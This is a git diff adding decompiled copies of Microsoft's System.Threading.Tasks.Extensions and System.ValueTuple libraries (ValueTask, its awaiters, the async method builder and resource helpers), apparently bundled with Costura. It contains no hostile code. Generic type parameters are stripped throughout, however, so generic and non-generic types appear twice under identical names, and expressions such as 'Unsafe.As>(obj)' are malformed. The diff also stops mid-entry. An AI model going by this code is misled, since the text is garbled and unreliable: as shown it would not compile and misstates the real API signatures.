+ public void SetStateMachine(IAsyncStateMachine stateMachine) + { + _methodBuilder.SetStateMachine(stateMachine); + } + + public void SetResult(TResult result) + { + if (_useBuilder) + { + _methodBuilder.SetResult(result); + return; + } + _result = result; + _haveResult = true; + } + + public void SetException(Exception exception) + { + _methodBuilder.SetException(exception); + } + + public void AwaitOnCompleted(ref TAwaiter awaiter, ref TStateMachine stateMachine) where TAwaiter : INotifyCompletion where TStateMachine : IAsyncStateMachine + { + _useBuilder = true; + _methodBuilder.AwaitOnCompleted(ref awaiter, ref stateMachine); + } + + [SecuritySafeCritical] + public void AwaitUnsafeOnCompleted(ref TAwaiter awaiter, ref TStateMachine stateMachine) where TAwaiter : ICriticalNotifyCompletion where TStateMachine : IAsyncStateMachine + { + _useBuilder = true; + _methodBuilder.AwaitUnsafeOnCompleted(ref awaiter, ref stateMachine); + } +} diff --git a/decompiled/Libraries/system.threading.tasks.extensions/System.Runtime.CompilerServices/ConfiguredValueTaskAwaitable.cs b/decompiled/Libraries/system.threading.tasks.extensions/System.Runtime.CompilerServices/ConfiguredValueTaskAwaitable.cs new file mode 100644 index 0000000..1f4e15e --- /dev/null +++ b/decompiled/Libraries/system.threading.tasks.extensions/System.Runtime.CompilerServices/ConfiguredValueTaskAwaitable.cs @@ -0,0 +1,165 @@ +using System.Diagnostics; +using System.Runtime.InteropServices; +using System.Threading.Tasks; +using System.Threading.Tasks.Sources; + +namespace System.Runtime.CompilerServices; + +[StructLayout(LayoutKind.Auto)] +public readonly struct ConfiguredValueTaskAwaitable +{ + [StructLayout(LayoutKind.Auto)] + public readonly struct ConfiguredValueTaskAwaiter : ICriticalNotifyCompletion, INotifyCompletion + { + private readonly ValueTask _value; + + public bool IsCompleted + { + [MethodImpl(MethodImplOptions.AggressiveInlining)] + get + { + return _value.IsCompleted; + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal ConfiguredValueTaskAwaiter(ValueTask value) + { + _value = value; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [StackTraceHidden] + public void GetResult() + { + _value.ThrowIfCompletedUnsuccessfully(); + } + + public void OnCompleted(Action continuation) + { + object obj = _value._obj; + if (obj is Task task) + { + task.ConfigureAwait(_value._continueOnCapturedContext).GetAwaiter().OnCompleted(continuation); + } + else if (obj != null) + { + Unsafe.As(obj).OnCompleted(ValueTaskAwaiter.s_invokeActionDelegate, continuation, _value._token, (ValueTaskSourceOnCompletedFlags)(2 | (_value._continueOnCapturedContext ? 1 : 0))); + } + else + { + ValueTask.CompletedTask.ConfigureAwait(_value._continueOnCapturedContext).GetAwaiter().OnCompleted(continuation); + } + } + + public void UnsafeOnCompleted(Action continuation) + { + object obj = _value._obj; + if (obj is Task task) + { + task.ConfigureAwait(_value._continueOnCapturedContext).GetAwaiter().UnsafeOnCompleted(continuation); + } + else if (obj != null) + { + Unsafe.As(obj).OnCompleted(ValueTaskAwaiter.s_invokeActionDelegate, continuation, _value._token, _value._continueOnCapturedContext ? ValueTaskSourceOnCompletedFlags.UseSchedulingContext : ValueTaskSourceOnCompletedFlags.None); + } + else + { + ValueTask.CompletedTask.ConfigureAwait(_value._continueOnCapturedContext).GetAwaiter().UnsafeOnCompleted(continuation); + } + } + } + + private readonly ValueTask _value; + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal ConfiguredValueTaskAwaitable(ValueTask value) + { + _value = value; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public ConfiguredValueTaskAwaiter GetAwaiter() + { + return new ConfiguredValueTaskAwaiter(_value); + } +} +[StructLayout(LayoutKind.Auto)] +public readonly struct ConfiguredValueTaskAwaitable +{ + [StructLayout(LayoutKind.Auto)] + public readonly struct ConfiguredValueTaskAwaiter : ICriticalNotifyCompletion, INotifyCompletion + { + private readonly ValueTask _value; + + public bool IsCompleted + { + [MethodImpl(MethodImplOptions.AggressiveInlining)] + get + { + return _value.IsCompleted; + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal ConfiguredValueTaskAwaiter(ValueTask value) + { + _value = value; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [StackTraceHidden] + public TResult GetResult() + { + return _value.Result; + } + + public void OnCompleted(Action continuation) + { + object obj = _value._obj; + if (obj is Task task) + { + task.ConfigureAwait(_value._continueOnCapturedContext).GetAwaiter().OnCompleted(continuation); + } + else if (obj != null) + { + Unsafe.As>(obj).OnCompleted(ValueTaskAwaiter.s_invokeActionDelegate, continuation, _value._token, (ValueTaskSourceOnCompletedFlags)(2 | (_value._continueOnCapturedContext ? 1 : 0))); + } + else + { + ValueTask.CompletedTask.ConfigureAwait(_value._continueOnCapturedContext).GetAwaiter().OnCompleted(continuation); + } + } + + public void UnsafeOnCompleted(Action continuation) + { + object obj = _value._obj; + if (obj is Task task) + { + task.ConfigureAwait(_value._continueOnCapturedContext).GetAwaiter().UnsafeOnCompleted(continuation); + } + else if (obj != null) + { + Unsafe.As>(obj).OnCompleted(ValueTaskAwaiter.s_invokeActionDelegate, continuation, _value._token, _value._continueOnCapturedContext ? ValueTaskSourceOnCompletedFlags.UseSchedulingContext : ValueTaskSourceOnCompletedFlags.None); + } + else + { + ValueTask.CompletedTask.ConfigureAwait(_value._continueOnCapturedContext).GetAwaiter().UnsafeOnCompleted(continuation); + } + } + } + + private readonly ValueTask _value; + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal ConfiguredValueTaskAwaitable(ValueTask value) + { + _value = value; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public ConfiguredValueTaskAwaiter GetAwaiter() + { + return new ConfiguredValueTaskAwaiter(_value); + } +} diff --git a/decompiled/Libraries/system.threading.tasks.extensions/System.Runtime.CompilerServices/ValueTaskAwaiter.cs b/decompiled/Libraries/system.threading.tasks.extensions/System.Runtime.CompilerServices/ValueTaskAwaiter.cs new file mode 100644 index 0000000..eee50e7 --- /dev/null +++ b/decompiled/Libraries/system.threading.tasks.extensions/System.Runtime.CompilerServices/ValueTaskAwaiter.cs @@ -0,0 +1,138 @@ +using System.Diagnostics; +using System.Threading.Tasks; +using System.Threading.Tasks.Sources; + +namespace System.Runtime.CompilerServices; + +public readonly struct ValueTaskAwaiter : ICriticalNotifyCompletion, INotifyCompletion +{ + internal static readonly Action s_invokeActionDelegate = delegate(object state) + { + if (!(state is Action action)) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(System.ExceptionArgument.state); + } + else + { + action(); + } + }; + + private readonly ValueTask _value; + + public bool IsCompleted + { + [MethodImpl(MethodImplOptions.AggressiveInlining)] + get + { + return _value.IsCompleted; + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal ValueTaskAwaiter(ValueTask value) + { + _value = value; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [StackTraceHidden] + public void GetResult() + { + _value.ThrowIfCompletedUnsuccessfully(); + } + + public void OnCompleted(Action continuation) + { + object obj = _value._obj; + if (obj is Task task) + { + task.GetAwaiter().OnCompleted(continuation); + } + else if (obj != null) + { + Unsafe.As(obj).OnCompleted(s_invokeActionDelegate, continuation, _value._token, ValueTaskSourceOnCompletedFlags.UseSchedulingContext | ValueTaskSourceOnCompletedFlags.FlowExecutionContext); + } + else + { + ValueTask.CompletedTask.GetAwaiter().OnCompleted(continuation); + } + } + + public void UnsafeOnCompleted(Action continuation) + { + object obj = _value._obj; + if (obj is Task task) + { + task.GetAwaiter().UnsafeOnCompleted(continuation); + } + else if (obj != null) + { + Unsafe.As(obj).OnCompleted(s_invokeActionDelegate, continuation, _value._token, ValueTaskSourceOnCompletedFlags.UseSchedulingContext); + } + else + { + ValueTask.CompletedTask.GetAwaiter().UnsafeOnCompleted(continuation); + } + } +} +public readonly struct ValueTaskAwaiter : ICriticalNotifyCompletion, INotifyCompletion +{ + private readonly ValueTask _value; + + public bool IsCompleted + { + [MethodImpl(MethodImplOptions.AggressiveInlining)] + get + { + return _value.IsCompleted; + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal ValueTaskAwaiter(ValueTask value) + { + _value = value; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [StackTraceHidden] + public TResult GetResult() + { + return _value.Result; + } + + public void OnCompleted(Action continuation) + { + object obj = _value._obj; + if (obj is Task task) + { + task.GetAwaiter().OnCompleted(continuation); + } + else if (obj != null) + { + Unsafe.As>(obj).OnCompleted(ValueTaskAwaiter.s_invokeActionDelegate, continuation, _value._token, ValueTaskSourceOnCompletedFlags.UseSchedulingContext | ValueTaskSourceOnCompletedFlags.FlowExecutionContext); + } + else + { + ValueTask.CompletedTask.GetAwaiter().OnCompleted(continuation); + } + } + + public void UnsafeOnCompleted(Action continuation) + { + object obj = _value._obj; + if (obj is Task task) + { + task.GetAwaiter().UnsafeOnCompleted(continuation); + } + else if (obj != null) + { + Unsafe.As>(obj).OnCompleted(ValueTaskAwaiter.s_invokeActionDelegate, continuation, _value._token, ValueTaskSourceOnCompletedFlags.UseSchedulingContext); + } + else + { + ValueTask.CompletedTask.GetAwaiter().UnsafeOnCompleted(continuation); + } + } +} diff --git a/decompiled/Libraries/system.threading.tasks.extensions/System.Threading.Tasks.Sources/IValueTaskSource.cs b/decompiled/Libraries/system.threading.tasks.extensions/System.Threading.Tasks.Sources/IValueTaskSource.cs new file mode 100644 index 0000000..47ccb2f --- /dev/null +++ b/decompiled/Libraries/system.threading.tasks.extensions/System.Threading.Tasks.Sources/IValueTaskSource.cs @@ -0,0 +1,18 @@ +namespace System.Threading.Tasks.Sources; + +public interface IValueTaskSource +{ + ValueTaskSourceStatus GetStatus(short token); + + void OnCompleted(Action continuation, object state, short token, ValueTaskSourceOnCompletedFlags flags); + + void GetResult(short token); +} +public interface IValueTaskSource +{ + ValueTaskSourceStatus GetStatus(short token); + + void OnCompleted(Action continuation, object state, short token, ValueTaskSourceOnCompletedFlags flags); + + TResult GetResult(short token); +} diff --git a/decompiled/Libraries/system.threading.tasks.extensions/System.Threading.Tasks.Sources/ValueTaskSourceOnCompletedFlags.cs b/decompiled/Libraries/system.threading.tasks.extensions/System.Threading.Tasks.Sources/ValueTaskSourceOnCompletedFlags.cs new file mode 100644 index 0000000..123292d --- /dev/null +++ b/decompiled/Libraries/system.threading.tasks.extensions/System.Threading.Tasks.Sources/ValueTaskSourceOnCompletedFlags.cs @@ -0,0 +1,9 @@ +namespace System.Threading.Tasks.Sources; + +[Flags] +public enum ValueTaskSourceOnCompletedFlags +{ + None = 0, + UseSchedulingContext = 1, + FlowExecutionContext = 2 +} diff --git a/decompiled/Libraries/system.threading.tasks.extensions/System.Threading.Tasks.Sources/ValueTaskSourceStatus.cs b/decompiled/Libraries/system.threading.tasks.extensions/System.Threading.Tasks.Sources/ValueTaskSourceStatus.cs new file mode 100644 index 0000000..9e0c49f --- /dev/null +++ b/decompiled/Libraries/system.threading.tasks.extensions/System.Threading.Tasks.Sources/ValueTaskSourceStatus.cs @@ -0,0 +1,9 @@ +namespace System.Threading.Tasks.Sources; + +public enum ValueTaskSourceStatus +{ + Pending, + Succeeded, + Faulted, + Canceled +} diff --git a/decompiled/Libraries/system.threading.tasks.extensions/System.Threading.Tasks/ValueTask.cs b/decompiled/Libraries/system.threading.tasks.extensions/System.Threading.Tasks/ValueTask.cs new file mode 100644 index 0000000..0d67ee9 --- /dev/null +++ b/decompiled/Libraries/system.threading.tasks.extensions/System.Threading.Tasks/ValueTask.cs @@ -0,0 +1,592 @@ +using System.Collections.Generic; +using System.Diagnostics; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using System.Threading.Tasks.Sources; + +namespace System.Threading.Tasks; + +[StructLayout(LayoutKind.Auto)] +[AsyncMethodBuilder(typeof(AsyncValueTaskMethodBuilder))] +public readonly struct ValueTask : IEquatable +{ + private sealed class ValueTaskSourceAsTask : TaskCompletionSource + { + private static readonly Action s_completionAction = delegate(object state) + { + IValueTaskSource source; + if (!(state is ValueTaskSourceAsTask valueTaskSourceAsTask) || (source = valueTaskSourceAsTask._source) == null) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(System.ExceptionArgument.state); + return; + } + valueTaskSourceAsTask._source = null; + ValueTaskSourceStatus status = source.GetStatus(valueTaskSourceAsTask._token); + try + { + source.GetResult(valueTaskSourceAsTask._token); + valueTaskSourceAsTask.TrySetResult(result: false); + } + catch (Exception exception) + { + if (status == ValueTaskSourceStatus.Canceled) + { + valueTaskSourceAsTask.TrySetCanceled(); + } + else + { + valueTaskSourceAsTask.TrySetException(exception); + } + } + }; + + private IValueTaskSource _source; + + private readonly short _token; + + public ValueTaskSourceAsTask(IValueTaskSource source, short token) + { + _token = token; + _source = source; + source.OnCompleted(s_completionAction, this, token, ValueTaskSourceOnCompletedFlags.None); + } + } + + private static readonly Task s_canceledTask = Task.Delay(-1, new CancellationToken(canceled: true)); + + internal readonly object _obj; + + internal readonly short _token; + + internal readonly bool _continueOnCapturedContext; + + internal static Task CompletedTask { get; } = Task.Delay(0); + + public bool IsCompleted + { + [MethodImpl(MethodImplOptions.AggressiveInlining)] + get + { + object obj = _obj; + if (obj == null) + { + return true; + } + if (obj is Task task) + { + return task.IsCompleted; + } + return Unsafe.As(obj).GetStatus(_token) != ValueTaskSourceStatus.Pending; + } + } + + public bool IsCompletedSuccessfully + { + [MethodImpl(MethodImplOptions.AggressiveInlining)] + get + { + object obj = _obj; + if (obj == null) + { + return true; + } + if (obj is Task task) + { + return task.Status == TaskStatus.RanToCompletion; + } + return Unsafe.As(obj).GetStatus(_token) == ValueTaskSourceStatus.Succeeded; + } + } + + public bool IsFaulted + { + get + { + object obj = _obj; + if (obj == null) + { + return false; + } + if (obj is Task task) + { + return task.IsFaulted; + } + return Unsafe.As(obj).GetStatus(_token) == ValueTaskSourceStatus.Faulted; + } + } + + public bool IsCanceled + { + get + { + object obj = _obj; + if (obj == null) + { + return false; + } + if (obj is Task task) + { + return task.IsCanceled; + } + return Unsafe.As(obj).GetStatus(_token) == ValueTaskSourceStatus.Canceled; + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public ValueTask(Task task) + { + if (task == null) + { + System.ThrowHelper.ThrowArgumentNullException(System.ExceptionArgument.task); + } + _obj = task; + _continueOnCapturedContext = true; + _token = 0; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public ValueTask(IValueTaskSource source, short token) + { + if (source == null) + { + System.ThrowHelper.ThrowArgumentNullException(System.ExceptionArgument.source); + } + _obj = source; + _token = token; + _continueOnCapturedContext = true; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private ValueTask(object obj, short token, bool continueOnCapturedContext) + { + _obj = obj; + _token = token; + _continueOnCapturedContext = continueOnCapturedContext; + } + + public override int GetHashCode() + { + return _obj?.GetHashCode() ?? 0; + } + + public override bool Equals(object obj) + { + if (obj is ValueTask) + { + return Equals((ValueTask)obj); + } + return false; + } + + public bool Equals(ValueTask other) + { + if (_obj == other._obj) + { + return _token == other._token; + } + return false; + } + + public static bool operator ==(ValueTask left, ValueTask right) + { + return left.Equals(right); + } + + public static bool operator !=(ValueTask left, ValueTask right) + { + return !left.Equals(right); + } + + public Task AsTask() + { + object obj = _obj; + object obj2; + if (obj != null) + { + obj2 = obj as Task; + if (obj2 == null) + { + return GetTaskForValueTaskSource(Unsafe.As(obj)); + } + } + else + { + obj2 = CompletedTask; + } + return (Task)obj2; + } + + public ValueTask Preserve() + { + if (_obj != null) + { + return new ValueTask(AsTask()); + } + return this; + } + + private Task GetTaskForValueTaskSource(IValueTaskSource t) + { + ValueTaskSourceStatus status = t.GetStatus(_token); + if (status != ValueTaskSourceStatus.Pending) + { + try + { + t.GetResult(_token); + return CompletedTask; + } + catch (Exception exception) + { + if (status == ValueTaskSourceStatus.Canceled) + { + return s_canceledTask; + } + TaskCompletionSource taskCompletionSource = new TaskCompletionSource(); + taskCompletionSource.TrySetException(exception); + return taskCompletionSource.Task; + } + } + ValueTaskSourceAsTask valueTaskSourceAsTask = new ValueTaskSourceAsTask(t, _token); + return valueTaskSourceAsTask.Task; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [StackTraceHidden] + internal void ThrowIfCompletedUnsuccessfully() + { + object obj = _obj; + if (obj != null) + { + if (obj is Task task) + { + task.GetAwaiter().GetResult(); + } + else + { + Unsafe.As(obj).GetResult(_token); + } + } + } + + public ValueTaskAwaiter GetAwaiter() + { + return new ValueTaskAwaiter(this); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public ConfiguredValueTaskAwaitable ConfigureAwait(bool continueOnCapturedContext) + { + return new ConfiguredValueTaskAwaitable(new ValueTask(_obj, _token, continueOnCapturedContext)); + } +} +[StructLayout(LayoutKind.Auto)] +[AsyncMethodBuilder(typeof(AsyncValueTaskMethodBuilder<>))] +public readonly struct ValueTask : IEquatable> +{ + private sealed class ValueTaskSourceAsTask : TaskCompletionSource + { + private static readonly Action s_completionAction = delegate(object state) + { + IValueTaskSource source; + if (!(state is ValueTaskSourceAsTask valueTaskSourceAsTask) || (source = valueTaskSourceAsTask._source) == null) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(System.ExceptionArgument.state); + return; + } + valueTaskSourceAsTask._source = null; + ValueTaskSourceStatus status = source.GetStatus(valueTaskSourceAsTask._token); + try + { + valueTaskSourceAsTask.TrySetResult(source.GetResult(valueTaskSourceAsTask._token)); + } + catch (Exception exception) + { + if (status == ValueTaskSourceStatus.Canceled) + { + valueTaskSourceAsTask.TrySetCanceled(); + } + else + { + valueTaskSourceAsTask.TrySetException(exception); + } + } + }; + + private IValueTaskSource _source; + + private readonly short _token; + + public ValueTaskSourceAsTask(IValueTaskSource source, short token) + { + _source = source; + _token = token; + source.OnCompleted(s_completionAction, this, token, ValueTaskSourceOnCompletedFlags.None); + } + } + + private static Task s_canceledTask; + + internal readonly object _obj; + + internal readonly TResult _result; + + internal readonly short _token; + + internal readonly bool _continueOnCapturedContext; + + public bool IsCompleted + { + [MethodImpl(MethodImplOptions.AggressiveInlining)] + get + { + object obj = _obj; + if (obj == null) + { + return true; + } + if (obj is Task task) + { + return task.IsCompleted; + } + return Unsafe.As>(obj).GetStatus(_token) != ValueTaskSourceStatus.Pending; + } + } + + public bool IsCompletedSuccessfully + { + [MethodImpl(MethodImplOptions.AggressiveInlining)] + get + { + object obj = _obj; + if (obj == null) + { + return true; + } + if (obj is Task task) + { + return task.Status == TaskStatus.RanToCompletion; + } + return Unsafe.As>(obj).GetStatus(_token) == ValueTaskSourceStatus.Succeeded; + } + } + + public bool IsFaulted + { + get + { + object obj = _obj; + if (obj == null) + { + return false; + } + if (obj is Task task) + { + return task.IsFaulted; + } + return Unsafe.As>(obj).GetStatus(_token) == ValueTaskSourceStatus.Faulted; + } + } + + public bool IsCanceled + { + get + { + object obj = _obj; + if (obj == null) + { + return false; + } + if (obj is Task task) + { + return task.IsCanceled; + } + return Unsafe.As>(obj).GetStatus(_token) == ValueTaskSourceStatus.Canceled; + } + } + + public TResult Result + { + [MethodImpl(MethodImplOptions.AggressiveInlining)] + get + { + object obj = _obj; + if (obj == null) + { + return _result; + } + if (obj is Task task) + { + return task.GetAwaiter().GetResult(); + } + return Unsafe.As>(obj).GetResult(_token); + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public ValueTask(TResult result) + { + _result = result; + _obj = null; + _continueOnCapturedContext = true; + _token = 0; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public ValueTask(Task task) + { + if (task == null) + { + System.ThrowHelper.ThrowArgumentNullException(System.ExceptionArgument.task); + } + _obj = task; + _result = default(TResult); + _continueOnCapturedContext = true; + _token = 0; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public ValueTask(IValueTaskSource source, short token) + { + if (source == null) + { + System.ThrowHelper.ThrowArgumentNullException(System.ExceptionArgument.source); + } + _obj = source; + _token = token; + _result = default(TResult); + _continueOnCapturedContext = true; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private ValueTask(object obj, TResult result, short token, bool continueOnCapturedContext) + { + _obj = obj; + _result = result; + _token = token; + _continueOnCapturedContext = continueOnCapturedContext; + } + + public override int GetHashCode() + { + if (_obj == null) + { + if (_result == null) + { + return 0; + } + return _result.GetHashCode(); + } + return _obj.GetHashCode(); + } + + public override bool Equals(object obj) + { + if (obj is ValueTask) + { + return Equals((ValueTask)obj); + } + return false; + } + + public bool Equals(ValueTask other) + { + if (_obj == null && other._obj == null) + { + return EqualityComparer.Default.Equals(_result, other._result); + } + if (_obj == other._obj) + { + return _token == other._token; + } + return false; + } + + public static bool operator ==(ValueTask left, ValueTask right) + { + return left.Equals(right); + } + + public static bool operator !=(ValueTask left, ValueTask right) + { + return !left.Equals(right); + } + + public Task AsTask() + { + object obj = _obj; + if (obj == null) + { + return Task.FromResult(_result); + } + if (obj is Task result) + { + return result; + } + return GetTaskForValueTaskSource(Unsafe.As>(obj)); + } + + public ValueTask Preserve() + { + if (_obj != null) + { + return new ValueTask(AsTask()); + } + return this; + } + + private Task GetTaskForValueTaskSource(IValueTaskSource t) + { + ValueTaskSourceStatus status = t.GetStatus(_token); + if (status != ValueTaskSourceStatus.Pending) + { + try + { + return Task.FromResult(t.GetResult(_token)); + } + catch (Exception exception) + { + if (status == ValueTaskSourceStatus.Canceled) + { + Task task = s_canceledTask; + if (task == null) + { + TaskCompletionSource taskCompletionSource = new TaskCompletionSource(); + taskCompletionSource.TrySetCanceled(); + task = (s_canceledTask = taskCompletionSource.Task); + } + return task; + } + TaskCompletionSource taskCompletionSource2 = new TaskCompletionSource(); + taskCompletionSource2.TrySetException(exception); + return taskCompletionSource2.Task; + } + } + ValueTaskSourceAsTask valueTaskSourceAsTask = new ValueTaskSourceAsTask(t, _token); + return valueTaskSourceAsTask.Task; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public ValueTaskAwaiter GetAwaiter() + { + return new ValueTaskAwaiter(this); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public ConfiguredValueTaskAwaitable ConfigureAwait(bool continueOnCapturedContext) + { + return new ConfiguredValueTaskAwaitable(new ValueTask(_obj, _result, _token, continueOnCapturedContext)); + } + + public override string ToString() + { + if (IsCompletedSuccessfully) + { + TResult result = Result; + if (result != null) + { + return result.ToString(); + } + } + return string.Empty; + } +} diff --git a/decompiled/Libraries/system.threading.tasks.extensions/System/ExceptionArgument.cs b/decompiled/Libraries/system.threading.tasks.extensions/System/ExceptionArgument.cs new file mode 100644 index 0000000..eaa7dc9 --- /dev/null +++ b/decompiled/Libraries/system.threading.tasks.extensions/System/ExceptionArgument.cs @@ -0,0 +1,8 @@ +namespace System; + +internal enum ExceptionArgument +{ + task, + source, + state +} diff --git a/decompiled/Libraries/system.threading.tasks.extensions/System/ThrowHelper.cs b/decompiled/Libraries/system.threading.tasks.extensions/System/ThrowHelper.cs new file mode 100644 index 0000000..070e8ba --- /dev/null +++ b/decompiled/Libraries/system.threading.tasks.extensions/System/ThrowHelper.cs @@ -0,0 +1,32 @@ +using System.Runtime.CompilerServices; + +namespace System; + +internal static class ThrowHelper +{ + internal static void ThrowArgumentNullException(System.ExceptionArgument argument) + { + throw GetArgumentNullException(argument); + } + + internal static void ThrowArgumentOutOfRangeException(System.ExceptionArgument argument) + { + throw GetArgumentOutOfRangeException(argument); + } + + private static ArgumentNullException GetArgumentNullException(System.ExceptionArgument argument) + { + return new ArgumentNullException(GetArgumentName(argument)); + } + + private static ArgumentOutOfRangeException GetArgumentOutOfRangeException(System.ExceptionArgument argument) + { + return new ArgumentOutOfRangeException(GetArgumentName(argument)); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private static string GetArgumentName(System.ExceptionArgument argument) + { + return argument.ToString(); + } +} diff --git a/decompiled/Libraries/system.threading.tasks.extensions/costura.system.threading.tasks.extensions.csproj b/decompiled/Libraries/system.threading.tasks.extensions/costura.system.threading.tasks.extensions.csproj new file mode 100644 index 0000000..affbdb6 --- /dev/null +++ b/decompiled/Libraries/system.threading.tasks.extensions/costura.system.threading.tasks.extensions.csproj @@ -0,0 +1,17 @@ + + + System.Threading.Tasks.Extensions + False + net40 + + + 14.0 + True + False + + + + + + + \ No newline at end of file diff --git a/decompiled/Libraries/system.valuetuple/.DS_Store b/decompiled/Libraries/system.valuetuple/.DS_Store new file mode 100644 index 0000000..fa28225 Binary files /dev/null and b/decompiled/Libraries/system.valuetuple/.DS_Store differ diff --git a/decompiled/Libraries/system.valuetuple/FxResources.System.ValueTuple.SR.resx b/decompiled/Libraries/system.valuetuple/FxResources.System.ValueTuple.SR.resx new file mode 100644 index 0000000..bccf528 --- /dev/null +++ b/decompiled/Libraries/system.valuetuple/FxResources.System.ValueTuple.SR.resx @@ -0,0 +1,32 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089The parameter should be a ValueTuple type of appropriate arity. + The TRest type argument of ValueTuple`8 must be a ValueTuple. + \ No newline at end of file diff --git a/decompiled/Libraries/system.valuetuple/FxResources.System.ValueTuple/SR.cs b/decompiled/Libraries/system.valuetuple/FxResources.System.ValueTuple/SR.cs new file mode 100644 index 0000000..eeca18e --- /dev/null +++ b/decompiled/Libraries/system.valuetuple/FxResources.System.ValueTuple/SR.cs @@ -0,0 +1,5 @@ +namespace FxResources.System.ValueTuple; + +internal static class SR +{ +} diff --git a/decompiled/Libraries/system.valuetuple/Properties/AssemblyInfo.cs b/decompiled/Libraries/system.valuetuple/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..26a2fba --- /dev/null +++ b/decompiled/Libraries/system.valuetuple/Properties/AssemblyInfo.cs @@ -0,0 +1,31 @@ +using System; +using System.Diagnostics; +using System.Reflection; +using System.Resources; +using System.Runtime.CompilerServices; + +[assembly: NeutralResourcesLanguage("en-US")] +[assembly: AssemblyTitle("System.ValueTuple")] +[assembly: AssemblyDescription("System.ValueTuple")] +[assembly: AssemblyDefaultAlias("System.ValueTuple")] +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyProduct("Microsoft® .NET Framework")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyFileVersion("4.6.26515.06")] +[assembly: AssemblyInformationalVersion("4.6.26515.06 @BuiltBy: dlab-DDVSOWINAGE059 @Branch: release/2.1 @SrcCode: https://github.com/dotnet/corefx/tree/30ab651fcb4354552bd4891619a0bdd81e0ebdbf")] +[assembly: CLSCompliant(true)] +[assembly: AssemblyMetadata(".NETFrameworkAssembly", "")] +[assembly: AssemblyMetadata("Serviceable", "True")] +[assembly: AssemblyMetadata("PreferInbox", "True")] +[assembly: AssemblyVersion("4.0.3.0")] +[assembly: TypeForwardedTo(typeof(TupleElementNamesAttribute))] +[assembly: TypeForwardedTo(typeof(TupleExtensions))] +[assembly: TypeForwardedTo(typeof(ValueTuple))] +[assembly: TypeForwardedTo(typeof(ValueTuple<>))] +[assembly: TypeForwardedTo(typeof(ValueTuple<, >))] +[assembly: TypeForwardedTo(typeof(ValueTuple<, , >))] +[assembly: TypeForwardedTo(typeof(ValueTuple<, , , >))] +[assembly: TypeForwardedTo(typeof(ValueTuple<, , , , >))] +[assembly: TypeForwardedTo(typeof(ValueTuple<, , , , , >))] +[assembly: TypeForwardedTo(typeof(ValueTuple<, , , , , , >))] +[assembly: TypeForwardedTo(typeof(ValueTuple<, , , , , , , >))] diff --git a/decompiled/Libraries/system.valuetuple/System/SR.cs b/decompiled/Libraries/system.valuetuple/System/SR.cs new file mode 100644 index 0000000..d5ed972 --- /dev/null +++ b/decompiled/Libraries/system.valuetuple/System/SR.cs @@ -0,0 +1,81 @@ +using System.Resources; +using System.Runtime.CompilerServices; +using FxResources.System.ValueTuple; + +namespace System; + +internal static class SR +{ + private static ResourceManager s_resourceManager; + + private static ResourceManager ResourceManager => s_resourceManager ?? (s_resourceManager = new ResourceManager(ResourceType)); + + internal static Type ResourceType { get; } = typeof(SR); + + internal static string ArgumentException_ValueTupleIncorrectType => GetResourceString("ArgumentException_ValueTupleIncorrectType", null); + + internal static string ArgumentException_ValueTupleLastArgumentNotAValueTuple => GetResourceString("ArgumentException_ValueTupleLastArgumentNotAValueTuple", null); + + [MethodImpl(MethodImplOptions.NoInlining)] + private static bool UsingResourceKeys() + { + return false; + } + + internal static string GetResourceString(string resourceKey, string defaultString) + { + string text = null; + try + { + text = ResourceManager.GetString(resourceKey); + } + catch (MissingManifestResourceException) + { + } + if (defaultString != null && resourceKey.Equals(text, StringComparison.Ordinal)) + { + return defaultString; + } + return text; + } + + internal static string Format(string resourceFormat, params object[] args) + { + if (args != null) + { + if (UsingResourceKeys()) + { + return resourceFormat + string.Join(", ", args); + } + return string.Format(resourceFormat, args); + } + return resourceFormat; + } + + internal static string Format(string resourceFormat, object p1) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[2] { resourceFormat, p1 }); + } + return string.Format(resourceFormat, p1); + } + + internal static string Format(string resourceFormat, object p1, object p2) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[3] { resourceFormat, p1, p2 }); + } + return string.Format(resourceFormat, p1, p2); + } + + internal static string Format(string resourceFormat, object p1, object p2, object p3) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[4] { resourceFormat, p1, p2, p3 }); + } + return string.Format(resourceFormat, p1, p2, p3); + } +} diff --git a/decompiled/Libraries/system.valuetuple/costura.system.valuetuple.csproj b/decompiled/Libraries/system.valuetuple/costura.system.valuetuple.csproj new file mode 100644 index 